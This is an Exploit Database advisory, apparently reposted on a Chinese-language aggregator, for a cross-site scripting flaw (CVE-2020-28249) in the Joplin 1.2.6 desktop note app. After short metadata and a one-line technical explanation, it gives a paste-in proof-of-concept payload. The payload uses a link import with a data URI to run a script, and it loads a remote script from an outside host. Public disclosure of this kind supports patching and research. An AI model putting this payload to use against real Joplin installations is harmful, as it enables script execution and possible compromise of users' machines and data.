Joplin 1.2.6 – ‘link’ Cross Site Scripting

• Exploit Database
• 13 阅读

• 作者： Philip Holbrook
  日期： 2020-11-09
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/49024/

• # Exploit Title: Joplin 1.2.6 - 'link' Cross Site Scripting
  # Date: 2020-09-21
  # Exploit Author: Philip Holbrook (@fhlipZero)
  # Vendor Homepage: https://joplinapp.org/
  # Software Link: https://github.com/laurent22/joplin/releases/tag/v1.2.6
  # Version: 1.2.6
  # Tested on: Windows / Mac
  # CVE : CVE-2020-28249
  # References:
  # https://github.com/fhlip0/JopinXSS/blob/main/readme.md
  
  # 1. Technical Details
  # An XSS issue in Joplin for desktop v1.2.6 allows a link tag in a note to
  bypass the HTML filter
  
  # 2. PoC
  # Paste the following payload into a note:
  
  ```
  <link rel=import
  href="data:text/html&comma;<script>alert(XSS)<&sol;script>
  <script src="//brutelogic.com.br&sol;1.js&num; </script>
  ```